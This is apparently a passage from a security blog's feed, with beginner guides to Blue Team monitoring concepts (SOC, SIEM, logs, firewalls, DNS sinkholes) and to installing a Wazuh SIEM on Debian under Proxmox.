<p>Which brings you to the most important dashboard to look at for now - and if all went well - you see a lot of alerts from <code>ids</code> - your intrusion detection system - aka snort 🥳💜🎉 .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697488507201/7230fb90-38b4-41dc-be02-c4d78740f74a.png" alt class="image--center mx-auto" /></p>
<p>Congratulations you did very well and now have a running IDS in your network.</p>
]]></content:encoded></item><item><title><![CDATA[How to get started with Monitoring on the Blue Team: A Step-By-Step Guide]]></title><description><![CDATA[First up - What is the Blue Team anyway? Good Question - the Blue Team is typically not just a single team.
It is a combination of multiple security disciplines combined for ease of speech. Similar to how Red Team sometimes means pentester as well. W...]]></description><link>https://maikroservice.com/how-to-get-started-with-monitoring-on-the-blue-team-a-step-by-step-guide</link><guid isPermaLink="true">https://maikroservice.com/how-to-get-started-with-monitoring-on-the-blue-team-a-step-by-step-guide</guid><category><![CDATA[SIEM]]></category><category><![CDATA[SOC]]></category><category><![CDATA[blueteam]]></category><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Tue, 29 Aug 2023 23:10:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1693209605064/102e7beb-2ef2-4889-b023-59e1c0ed9dbc.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>First up - What is the Blue Team anyway? Good Question - the Blue Team is typically not just a single team.</p>
<p>It is a combination of multiple security disciplines combined for ease of speech. Similar to how <code>Red Team</code> sometimes means pentester as well. Wrong, but socially accepted. But you might still have the question - Which Blue Team disciplines exist?</p>
<h2 id="heading-blue-team-disciplines">Blue Team Disciplines</h2>
<p>Blue Team tasks typically consist of the following disciplines:</p>
<ol>
<li><p><strong>Monitoring</strong> 👀</p>
</li>
<li><p>Analytics 🧮</p>
</li>
<li><p>Hardening 🪨</p>
</li>
<li><p>Incident Response 👩‍🚒</p>
</li>
<li><p>Threat Hunting ⚡</p>
</li>
</ol>
<p>In this post, we will cover the Monitoring Discipline one by one with example tasks and things you need to know about it. So without further ado here is the overview of Monitoring:</p>
<h2 id="heading-summary">Summary</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693214217107/b2667ac8-af89-41f8-9560-5b93b566777f.png" alt class="image--center mx-auto" /></p>
<p>Monitoring is a combination of Logging, Detection, Visualization and Inventory Management:</p>
<ul>
<li><p>SOC / SIEM</p>
<ul>
<li><p>Alerting</p>
</li>
<li><p>Event Triage</p>
</li>
<li><p>Dashboards</p>
</li>
</ul>
</li>
<li><p>Inventory (Machines, Cloud Assets, People, Services)</p>
</li>
<li><p>Networking</p>
<ul>
<li><p>Internal Firewalls + Web Application Firewalls (WAFs)</p>
</li>
<li><p>Network Access Control (NAC)</p>
</li>
<li><p>Virtual Private Networks (VPN)</p>
</li>
<li><p>DNS Sinkholes</p>
</li>
</ul>
</li>
<li><p>Packet &amp; Protocol Tracking (Network Monitoring)</p>
</li>
</ul>
<p>That is A LOT of words you might not have heard before - but fear not, I will share all the necessary details.</p>
<p>A job that is often associated with monitoring is called SOC Analyst - or Security Operations Center Analyst.</p>
<h3 id="heading-in-simple-terms-monitoring-explained-for-aspiring-blue-teamers">In simple Terms - Monitoring explained for aspiring Blue Teamers</h3>
<p>Monitoring means collecting Logs and looking at graphical representation of them.</p>
<p>Uh... what?<br />Why do computer nerds collect parts of trees? 🪵</p>
<p>...and why ON EARTH do they look at paintings of them? 🎨🖌️👩‍🎨</p>
<p>Well... almost</p>
<p>Logs are Log files or even streams.</p>
<p>Aha. Why would I need them?</p>
<p>Imagine you have a web application and someone tries to hack it.</p>
<p>How do you know?</p>
<p>Better: How would you know?</p>
<p>Well... I would know if I get hacked... RIGHT!? Kinda.. but also - no.</p>
<p>That is way too late.</p>
<p>Remember the 5 stages of ethical hacking?</p>
<ol>
<li><p>Reconnaissance</p>
</li>
<li><p>Enumeration &amp; Scanning</p>
</li>
<li><p>Initial Exploitation - Gaining Access</p>
</li>
<li><p>Lateral Movement &amp; Privilege Escalation - Maintaining Access</p>
</li>
<li><p>Cleanup</p>
</li>
</ol>
<p>Imagine you get hacked, if we take our previous assumption that we would only find out once the attacker has access - that is after Step 3.</p>
<p>What if we wanted to catch them at Step 1 or 2?!</p>
<p>HELLOOOO LOGS. 🪵🪓</p>
<p>Now how do you find logs, if you cannot go to the hardware store or the forest to collect them?!</p>
<p>And what do they look like? Those are the right questions!</p>
<p>AND we will answer them today.</p>
<h2 id="heading-soc-security-operations-center">SOC - Security Operations Center</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693214087920/33dc9739-2add-4bb2-b1f8-3d5dc272a5f2.png" alt class="image--center mx-auto" /></p>
<p>The Security Operations Center is a team of individuals who watch logs to identify threats and compromises. This team typically operates in 24h / 7 days a week mode for 365 days of the year. Each SOC analyst works in shifts, similar to nurses in hospitals.</p>
<p>It is hard to find good SOC personnel, so companies often outsource the SOC to MSSPs - Managed Security Service Providers. These are companies that specialize in SOC and sometimes even Incident Response.</p>
<p>The tool every SOC uses is called SIEM - Security Information and Event Management System.</p>
<h3 id="heading-siem-security-information-and-event-management-system">SIEM - Security Information and Event Management System</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693215314397/25be8d57-709e-4826-bbc4-9809b5d9d916.png" alt class="image--center mx-auto" /></p>
<p>A SIEM is basically a software tool that allows you to collect and analyze log files.</p>
<p>Log files are text files that contain logging information - these can be operational data for computers (e.g. user logins &amp; created files) or services (Web Application, Authentication Service, Domain Name Service - DNS).</p>
<p>These log files are collected, normalized (transformed) and used to build dashboards. Dashboards consist of graphs/charts and alerts.</p>
<h3 id="heading-alerting">Alerting</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693311917870/64e98abb-e70e-44ee-a65a-4c225070624e.png" alt class="image--center mx-auto" /></p>
<p>Alerts are based on detection rules, which specify actions or filenames that are considered malicious. The process of checking the local files is called File Integrity monitoring - you usually need to mention which folders / disks should be checked and the more folders, the more data is stored.</p>
<p>This is also an issue because a lot of data means SOC analysts can be hit by alert fatigue. This "disease" happens when you see so many (false positive) alerts and become desensitized to future ones - a dangerous situation because the next one could be real.</p>
<p>Less is more, focus on high-impact alerts first and foremost.</p>
<p>For those of you wondering - <em>OK great, but how can I get started with Security Information and Event Management Systems?</em></p>
<p>Check out this post: <a target="_blank" href="https://maikroservice.com/how-to-setup-wazuh-as-your-siem-with-debian-proxmox">https://maikroservice.com/how-to-setup-wazuh-as-your-siem-with-debian-proxmox</a>.</p>
<p>It will guide you through the setup and requirements of a SIEM for your homelab, which gives you invaluable experience for the job hunt. I cannot stress this enough - if you do not have job experience, build it yourself with a homelab and simulated attack scenarios.</p>
<p>After the alert a SOC analyst needs to decide how bad the situation is and what to do next - this process is called Triage.</p>
<h3 id="heading-triage">Triage</h3>
<p>Triage is at least the 2nd most important task of a (future) SOC analyst.</p>
<p>As a Junior SOC Analyst, you would watch the dashboards and alerts and if something happens you gather information and create a ticket.</p>
<p>You have a tiered model - level 1 is junior analysts, level 2 is intermediate analysts and level 3 is team lead / seasoned professionals - The ticket flow is similar to a pyramid. At the bottom, the level 1 analysts look at the majority of alerts and forward the ones they deem interesting.</p>
<p>For each (in an ideal world) alert, a ticket is created and valuable information is added.</p>
<p>These tickets are forwarded to the next higher level and then categorized (triaged), level 1 analysts can also triage the tickets already, depending on the setup.</p>
<p><em>Ok, but how do analysts know which data point is important?</em></p>
<p>They use dashboards to visualize the events.</p>
<h3 id="heading-dashboards">Dashboards</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693311810547/f31fc36d-29d9-4790-94e1-846788f0d915.png" alt class="image--center mx-auto" /></p>
<p>Dashboarding (I hope this is a word) is the process of visualizing data using graphs and tables. Typically, this is done with the SIEM software but outside of security dashboards are also used for data analytics and reporting (e.g. sales, or marketing data).</p>
<p>These dashboards can be used to have a quick look at the status quo or dive down into data points, e.g. analyze events on a specific machine after an alert was raised.</p>
<p>What you need to understand the alerts properly is a deep understanding of how logs work - up next.</p>
<h3 id="heading-logs-in-detail">Logs in Detail</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693229798080/14a42823-a13b-4205-90cc-d73e68ed64f0.png" alt class="image--center mx-auto" /></p>
<p>Logs are flat files - sometimes <code>JSON</code>, sometimes <code>CSV</code>, sometimes <code>TXT</code> files.</p>
<p><em>Sometimes what now?</em></p>
<p><code>JSON - JavaScript Object Notation</code></p>
<p><code>CSV - Comma Separated Values</code></p>
<p><code>TXT - Text</code></p>
<p>These are some of the different formats that Log files can come in.</p>
<p><em>Can you give me an example of what those look like?</em></p>
<p>Sure - glad you asked:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># JSON (pretty)</span>
{
  <span class="hljs-string">"UUID"</span>: [
  {
    timestamp: <span class="hljs-string">"2022-11-02T20:57:38+00:00"</span>, 
    user: <span class="hljs-string">"admin"</span>, 
    action: <span class="hljs-string">"login"</span>, 
    page: <span class="hljs-string">"admin.php"</span>
  }
  ]
}
</code></pre>
<pre><code class="lang-bash"><span class="hljs-comment"># CSV</span>
timestamp,user,action,page
<span class="hljs-string">"2022-11-02T20:57:38+00:00"</span>,<span class="hljs-string">"admin"</span>,<span class="hljs-string">"login"</span>,<span class="hljs-string">"admin.php"</span>
</code></pre>
<pre><code class="lang-bash"><span class="hljs-comment"># and TXT</span>
timestamp,user,action,page
<span class="hljs-string">"2022-11-02T20:57:38+00:00"</span>, <span class="hljs-string">"admin"</span>,<span class="hljs-string">"login"</span>,<span class="hljs-string">"admin.php"</span>
</code></pre>
<p><em>Wait CSV and TXT look exactly alike?!</em></p>
<p>Yes, that could very well be - sometimes the delimiter (the character between the individual entries) changes from <code>,</code> to <code>;</code></p>
<p>but <code>TXT</code> is often "just" <code>CSV</code> with a different file extension.</p>
<p><em>Now what/who generates these things and who defines the format?</em></p>
<p>Log files are produced by almost all modern applications and operating systems.</p>
<p>Which is kind of an answer to - <em>How do we find logs?</em></p>
<p>Applications produce them - <em>NICE!</em></p>
<p>But let's dive deeper - so these are application logs - and a full-fledged web application produces different logs compared to for example Microsoft Word or Excel.</p>
<p><em>Why?</em></p>
<p>Word &amp; Excel are single-user local applications (they can also be used in browsers now, I know.)</p>
<p>While Web Apps are distributed.</p>
<p>That means that many users use the same application, plus the servers that host the application are typically spread around the world 🗺️</p>
<p><em>What do you think would be different between the logging of these two types of applications?!</em></p>
<p>Let's make it even more complicated.<br />What if your Operating System also produces Log Files.</p>
<p><em>What do you think is in there?</em><br /><em>Would that look different for Windows, Linux and MacOS?</em><br /><em>Where do I even find these logs?</em><br /><em>Are they on by default?</em><br /><em>Do people spy on me w/ logs?</em></p>
<p>Let us slowly dive into the different types of logs -</p>
<p><code>Application Logs</code> are different from <code>System Logs</code>.</p>
<p>There might be more types but those two are enough for now.</p>
<p><code>Application Logs</code> show user interactions with the app<br />+ they show which service talked to which IP/other service.</p>
<p><em>Why?!</em></p>
<blockquote>
<p>User Input is the most dangerous thing on the internet</p>
</blockquote>
<p>Worse than Sharks, Snakes, Spam Emails and Phishing combined.</p>
<p>It is how companies get hacked, how everyone gets hacked.</p>
<p>So we save it to logs.</p>
<p><em>We want to know if a user tries to hack us, right?!</em></p>
<p>NOT SO FAST!</p>
<p>Welcome <code>GDPR</code> and other regulations.</p>
<p>You cannot just log everything a user does, you need their consent - and even with that, you shall only save <code>necessary</code> and <code>minimal amounts of data</code>.</p>
<p>so you don't log everything... ok.</p>
<p><em>Do you log anonymized interactions?!</em></p>
<p>That is better. But now you don't know <em>WHO</em> tries to hack you.</p>
<p>And for now, that is not that important, for Monitoring + Security you care about the User Input first + maybe the IP</p>
<p>Two things to think about -<br /><em>What happens to your account if someone hacks your password?</em></p>
<p><em>What happens if a user uses a VPN?</em></p>
<p><strong>Think about those and leave a comment below with your answers.</strong></p>
<p>Back to Logging: As Blue Teamers, we want to know which input breaks our application.</p>
<p>So that we can (<em>tell the developers to</em>) fix it!</p>
<p><code>Application Logs = User Input + Services talking</code></p>
<p><em>What about System Logs?</em></p>
<p>Your Operating System creates logs on your interactions as well.</p>
<p><em>Why?</em></p>
<p>Product Improvements, Troubleshooting, Support of IT staff at your company and many other reasons.</p>
<p><em>Got it, seems legitimate.</em></p>
<p><em>What is in there though?</em></p>
<p>To answer this question - let us first find the logs!<br />The hunt begins.</p>
<p><code>Linux &amp; MacOS</code> store System logs in <code>/var/log</code></p>
<p>While Windows 1. mostly calls them Events and 2. stores them at: <code>C:\Windows\system32\winevt\Logs</code> by default (<code>Windows 7/8/10/11</code>).</p>
<p><em>How can I read them?</em></p>
<p>MacOS -&gt; <code>console.app</code><br />Linux -&gt; text reader (e.g. <code>less</code>)<br />Windows -&gt; Windows Event Viewer (<code>eventvwr.exe</code>)</p>
<p>Nice and last question - <em>How can I make sure that all of them are aggregated in one place for System Monitoring in a Business Network / Home Network?!</em></p>
<p>That is exactly what a SIEM is for, but you need to make sure to know how many devices belong to your company.</p>
<p>How? Inventory Management!</p>
<h3 id="heading-inventory-machines-cloud-assets-people-services">Inventory (Machines, Cloud Assets, People, Services)</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693223285606/d772e30d-07d4-4fdb-a56e-a513cfff9a9e.png" alt class="image--center mx-auto" /></p>
<p>Knowing how many total laptops, servers, mobile phones and cloud storage buckets you have in your company is ... hard, very hard actually. Because employees are quickly onboarded / offboarded, can also autonomously buy hardware and use cloud accounts this often leads to confusion.</p>
<p>The larger the organization the worse this gets. BUT it is essential to keep track of the hard and software in your company.</p>
<p>Only when you know it exists can you monitor the device/service. No monitoring, no visibility means this device can be hacked and you would not know about it.</p>
<p><img src="https://pbs.twimg.com/media/FglzkveXwAA3BEs.jpg" alt class="image--center mx-auto" /></p>
<p>To make matters even more interesting, in 2023 infrastructure is usually distributed across multiple data centers with content delivery networks and load balancers in between. If those words do not mean anything to you now, that is totally fine.</p>
<p>The idea behind my mentioning all of this was to show the complexity of a "simple" website in 2023. It can quickly get out of hand when engineering takes the reigns and moves forward.</p>
<p>Keeping inventory is at the interface of analytics, whenever you see a new IP/device in your logs you might want to check where it comes from.</p>
<p>This leads us to the next topic - networking.</p>
<h3 id="heading-networking">Networking</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693225541349/4497289e-0bf5-44cb-a57e-727510206f6e.png" alt class="image--center mx-auto" /></p>
<p>Each device in your business environment will most likely connect to other devices in the same department.</p>
<p>When you are a remote/global company this department might be filled with people from South America to Japanese employees all working on the same projects.</p>
<p>That is a lot of ground to cover and you need both the internet and internal networks to enable collaboration.</p>
<p>These internal networks need to be protected and one of the classics is to use a firewall.</p>
<h3 id="heading-firewalls">Firewalls</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693345574599/47f36f4b-67f6-4cb7-bdf0-0c67a245aafb.png" alt class="image--center mx-auto" /></p>
<p>Speaking about firewalls means that we have a network or service that needs protection. These networks can be internal and hold confidential documents or they can be part of our Web Application infrastructure for example. The latter also needs protection but needs a different kind of firewall - a Web Application Firewall (WAF).</p>
<p><em>Why can you not use one for the other?!</em></p>
<p>Well, one might be a hardware firewall and the other one might be software, there might be different threats associated with each environment etc. - but you could. You could probably figure out how to use one for the other when money is tight or hidden costs (time investment for figuring out which vendor to go with) are deemed too high.</p>
<p>Generally, firewalls protect you against unwanted access e.g. by blocking traffic from specific ports.</p>
<p><em>Okay, but what is a port?</em></p>
<p>Good question, which is interlinked with the next chapter but I wanted to show you that there will be a lot of concepts that you might or might not understand immediately.</p>
<p>What is important though is that you focus on learning concepts rather than specific technologies/hardware/tools. In the end, the technology will most likely change over the course of your career but the concepts will stay the same.</p>
<p>Oh, and a port is a specific software address that applications/machines can connect to on a computer. It's similar to a loading dock in a factory or stop in a bus terminal, you need to be in the correct place to be picked up and take the bus / get the delivery.</p>
<p>How would you allow/deny access to the networks? Besides a Firewall you can use Network Access Control (NAC).</p>
<h3 id="heading-network-access-control-nac">Network Access Control (NAC)</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693345526105/8ee43d8b-a960-4686-bf11-c41eb97911c7.png" alt class="image--center mx-auto" /></p>
<p>Network Access Control measures allow / deny people to connect to your network of choice based on certain conditions.</p>
<p><em>What are those?!</em></p>
<p>You can decide, but some examples include:</p>
<ul>
<li><p>Tiered networks (e.g. separate guest and employee networks)</p>
</li>
<li><p>Bring your own device policies (someone wants to use their private phone for work, which means they have e.g. to enroll in device management, keep the phone operating system up to date and can only install certain apps)</p>
</li>
<li><p>Compliance policies (e.g. anyone who wants to connect to your network via cable or wifi needs to have a registered device which is actively managed by the device management)</p>
</li>
</ul>
<p>Another access control measurement would be to have a virtual private network (VPN) for your employees.</p>
<h3 id="heading-virtual-private-networks-vpns">Virtual Private Networks (VPNs)</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693345594120/99eb29f1-d1c8-416f-b83e-7e7bf71639cf.png" alt class="image--center mx-auto" /></p>
<p>VPNs as their name suggests are virtual networks that need some kind of authentication or configuration file to get into. There are two types of VPNs - mesh-style networks and server-based networks.</p>
<p>Mesh-style networks can be represented by wireguard, while server-based networks can be initiated using OpenVPN.</p>
<p>For a more in-depth walkthrough check out this Twitter thread: <a target="_blank" href="https://twitter.com/maikroservice/status/1673811963070017538">https://twitter.com/maikroservice/status/1673811963070017538</a></p>
<p>If you want to be extra sure that no malicious traffic enters/exits your company networks you can also use a DNS sinkhole.</p>
<h3 id="heading-dns-sinkholes">DNS Sinkholes</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693345682298/bbda2b6e-a95f-40da-9bb8-5418f327d132.png" alt class="image--center mx-auto" /></p>
<p>DNS Sinkholes are basically blackholes for domain name server (DNS) traffic. DNS translates human-readable domain names (e.g. <code>maikroservice.com</code>) to IP addresses (<code>76.76.21.21</code>).<br />If one of the devices in your network tries to access a known malicious url, your DNS server would respond with a "wrong" IP that does not lead to the hacker domain.</p>
<p>This can be combined with an allowlist - which defines the allowed domains anyone in the company can access.</p>
<p>The combination of a DNS sinkhole and an allowlist provides a layered approach to security. Malicious or unauthorized domains are diverted away from their intended destinations, while trusted domains on the allowlist are granted unblocked access.</p>
<p>If you cannot use an allowlist you need to check the network traffic closely - also called network monitoring.</p>
<h3 id="heading-packet-amp-protocol-tracking-network-monitoring">Packet &amp; Protocol Tracking (Network Monitoring)</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693345855214/61ecab8e-1270-4c9c-8739-767e1efd3ded.png" alt class="image--center mx-auto" /></p>
<p>When you join a new company as a consultant the first thing you tackle is to get a lay of the land - you try to figure out how bad the current situation is and which future action will have the highest impact.</p>
<p>You would also try to establish a baseline - what exactly is considered normal in this environment, what would an attack on a high-value target look like and can we detect it easily?</p>
<p>The toolset you would bring to this section consists of Wireshark (packet analyzing software), an Intrusion Detection and Prevention System (IDS/IPS) and probably DNS/Proxy Server logs combined with Linux command line tools (e.g. grep, awk, sed and others).<br />If you want to learn more about those command line tools, check out this video: <a target="_blank" href="https://www.youtube.com/watch?v=zNa6G7KOGXc">https://www.youtube.com/watch?v=zNa6G7KOGXc</a>.</p>
<p>Sometimes the logs you are looking for are not in the correct format and you need support, there might be help available.</p>
<h3 id="heading-logging-as-a-service">Logging as a Service</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693345944539/9145186e-b174-4d27-91a3-57ab29fe96a6.png" alt class="image--center mx-auto" /></p>
<p>If you are in a situation where your logs look like a pile of lego stacked on top of each other - you might need help.</p>
<p>Some organizations might be unaware of the amount of Log Aggregation / Transformation necessary to make sense of logs and the underlying traffic/behavior patterns.</p>
<p>You can work with external partners to identify potential high-value log sources, transform and combine different ones and build dashboards/alerts on top of the logs in your SIEM.</p>
]]></content:encoded></item><item><title><![CDATA[Setting Up Wazuh as Your SIEM on Debian 12 & Proxmox: A Step-by-Step Guide]]></title><description><![CDATA[Welcome to the SIEM Homelab Series - We will walk through the process of installing your very own instance of Wazuh as a Security Information and Event Management System (SIEM).
If you want to do threat research or learn more about the ins and outs o...]]></description><link>https://maikroservice.com/setting-up-wazuh-as-your-siem-on-debian-12-proxmox-a-step-by-step-guide</link><guid isPermaLink="true">https://maikroservice.com/setting-up-wazuh-as-your-siem-on-debian-12-proxmox-a-step-by-step-guide</guid><category><![CDATA[SIEM]]></category><category><![CDATA[SOC Analyst]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Fri, 25 Aug 2023 13:07:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/qTEj-KMMq_Q/upload/1bd7fa129391f19deeab61f033351654.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Welcome to the SIEM Homelab Series - We will walk through the process of installing your very own instance of Wazuh as a Security Information and Event Management System (SIEM).</p>
<p>If you want to do threat research or learn more about the ins and outs of security monitoring it is time to start your own home lab.</p>
<h1 id="heading-getting-started">Getting started</h1>
<p>We will use a plain Debian image (iso) which you can download from: <a target="_blank" href="https://cdimage.debian.org/debian-cd/current/amd64/iso-dvd/">https://cdimage.debian.org/debian-cd/current/amd64/iso-dvd/</a>. Make sure that the SHA256 or SHA512 hash of the file you downloaded matches the original one. You can see the expected hash in this file: <a target="_blank" href="https://cdimage.debian.org/debian-cd/current/amd64/iso-dvd/SHA256SUMS">https://cdimage.debian.org/debian-cd/current/amd64/iso-dvd/SHA256SUMS</a></p>
<pre><code class="lang-bash"><span class="hljs-comment"># add the correct filename</span>
sha256sum &lt;debian-12.1.0-amd64-DVD-1.iso&gt;
</code></pre>
<h2 id="heading-setting-up-the-virtual-machine-on-proxmox">Setting up the virtual machine on proxmox</h2>
<p>Once that is done and the iso is added to proxmox (if you want to learn how to do that: <a target="_blank" href="https://maikroservice.com/how-to-upload-iso-files-to-your-proxmox-server">https://maikroservice.com/how-to-upload-iso-files-to-your-proxmox-server</a>) you can create a new virtual machine with the blue button in the top right corner of your proxmox interface.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682165075447/29ed8bdb-3501-4e6a-a46c-47a7030bb4b5.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682165082404/75b7afad-232f-4368-9a23-fd154b98e8cd.png" alt class="image--center mx-auto" /></p>
<p>Now give it a name and click "Next", in the next window select the operating system that you want to use for the wazuh machine - we use Debian 11/12 and click "Next".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691872051353/37cfa0d8-5c87-4870-bf69-9e06f4a66122.png" alt class="image--center mx-auto" /></p>
<p>In the System window select the Qemu Agent checkbox, and leave the rest as it is.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682165098218/7f7be9f7-536f-4f8d-91d1-b802e304933d.png" alt class="image--center mx-auto" /></p>
<p>Next up we need to decide how much power our SIEM server needs. The documentation recommends the numbers below but we will adjust them slightly.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682165795687/5b850099-7e3f-4879-b711-73821b3c1c72.png" alt class="image--center mx-auto" /></p>
<p>In the disk setup, make sure to use enough disk space for the VM, wazuh recommends around 50GB per 90 days of storage, since my SIEM does not run 24/7 I chose 50GB total disk space.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682166914625/1392a1c1-7873-42fd-9a8b-85dfee544e07.png" alt class="image--center mx-auto" /></p>
<p>The number of CPU cores (4) was taken from the recommendations in the wazuh documentation. This is plenty, you might also get away with 3.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682166920075/094e59a2-6cd4-474a-9883-5a926e0a6984.png" alt class="image--center mx-auto" /></p>
<p>For memory, I have been using 4GB (4096 MB) and it is running smoothly with 4-8 agents reporting to the SIEM. If you have more memory to spare, you can generously upgrade this to 8GB (8192 MB).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682166889998/a76fb310-e8e3-48d3-a31e-47e54c297584.png" alt class="image--center mx-auto" /></p>
<p>For a network device, we use the classical <code>VirtIO (paravirtualized)</code>, if you have installed another network bridge outside of <code>vmbr0</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691872131860/37b34852-a773-4913-8566-927b213d4f91.png" alt class="image--center mx-auto" /></p>
<p>Next up we confirm all the settings and press the <code>Finish</code> button.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691872790585/68fd7ed1-e21b-4233-89c5-6e73f8367291.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-installing-debian-on-the-vm">Installing debian on the VM</h2>
<p>You now have to install the operating system on the virtual machine, which automatically begins after you start the virtual machine.</p>
<p>I suggest the graphical install option for visual pleasantries.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877881819/3508c14b-e0b8-4a99-9b68-e3af0b26ef3b.png" alt class="image--center mx-auto" /></p>
<p>First up is selecting a language - use your favorite one, we will go with plain old English.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877884474/fa884da9-8e27-4fc8-b724-b71c47140644.png" alt class="image--center mx-auto" /></p>
<p>Next up is the location selection - this will be used later on for time zones as well so make sure to select the correct one for you and press the continue button.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877894486/79d804c8-831d-4b0f-a3c5-374f02217a66.png" alt class="image--center mx-auto" /></p>
<p>Now you need to choose the correct keyboard layout and hop on to the next selection screen.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877903606/4e1bba9c-a2ab-494d-9153-25af8e2f8792.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-user-setup-debian">User setup debian</h3>
<p>It is time for your computer to get a name, choose something descriptive or stay by your naming scheme.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877910580/a9bd4149-1ec2-41ac-841b-b4c381ec277d.png" alt class="image--center mx-auto" /></p>
<p>If your SIEM should be part of an Active Directory Domain you can add the name of the domain now - you can also set it up later in case you are not sure right now.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877916684/748a4c95-9d53-4844-8587-757848acc844.png" alt class="image--center mx-auto" /></p>
<p>Debian will set up at least two users for you - one root user (admin) and one normal user.</p>
<p>First, you enter the password for the root (system administrative) user twice and once that is done you can give your normal user a name.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877921350/b1c154fb-bb6f-4883-8861-24417a0104e1.png" alt class="image--center mx-auto" /></p>
<p>This user is the one you would log in with for daily operations, make sure you remember this name or add a note to the VM.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877934477/826803bf-d1a9-4fcb-a109-e970fa7e8d92.png" alt class="image--center mx-auto" /></p>
<p>Once the username is selected you enter a password for this user twice and continue onwards.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877946847/2e267a5b-07c3-4269-82fa-9fe1fb405bcb.png" alt class="image--center mx-auto" /></p>
<p>Now comes the time zone selection, remember earlier when I said that this is limited by the country you choose? Hopefully you selected the correct one and can find your time zone now, otherwise either choose a random one and change it later or go back to the country selection.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877953535/66b691b8-b696-4b1f-a3fc-aa6e2b9ee969.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-disk-setup-debian">Disk setup debian</h3>
<p>Next, you can opt to choose a guided or manual approach to setting up the disk for your debian installation. I suggest you use the first option <code>Guided - use entire disk</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877977861/5187c5d5-52f3-4f3e-9334-91d7fc771329.png" alt class="image--center mx-auto" /></p>
<p>The next three steps are single select &amp; continue workflows. First is the disk selection, you probably have only one disk available if you followed the process until now. Choose that one and continue.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877981247/2c53e812-fb46-487c-a020-25a3d1aea408.png" alt class="image--center mx-auto" /></p>
<p>We are now able to choose if you want different partitions (think of "virtual hard drives") or a single one - I suggest using the single one for ease of use.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877987212/755b155c-5bb4-426c-a15d-ee870b76467a.png" alt class="image--center mx-auto" /></p>
<p>Now all the details are figured out and you need to finally confirm the partitioning + disk erasure.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877991675/8ff4c42f-efd8-428e-acc1-b63dd6b66257.png" alt class="image--center mx-auto" /></p>
<p>Confirm once more and you are done with the disk setup.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877995486/972bef92-bdd3-4e6d-aa91-e13840d8ea44.png" alt /></p>
<h3 id="heading-software-setup-debian">Software setup debian</h3>
<p>You will want your debian to be and stay up-to-date and to achieve that you need software updates. The first selection screen will give you the option to load packages/libraries from a USB disk/external hard drive. Since you most likely don't have one you can choose <code>No</code> and continue.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878004058/77e4304f-b764-4fc0-a42e-02b508b7f571.png" alt class="image--center mx-auto" /></p>
<p>debian uses <code>apt</code> (Advanced Package Tool) for most of the software installation. Apt works with mirrors + archives which hold the actual libraries you want to install and since the world is a big place you can choose the mirror location closest to you to have minimum latency.</p>
<p>You can leave this in the default setting, it should not have much impact on your daily work.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878010134/e84f1efc-530e-46a7-bd54-83b67822fc5f.png" alt class="image--center mx-auto" /></p>
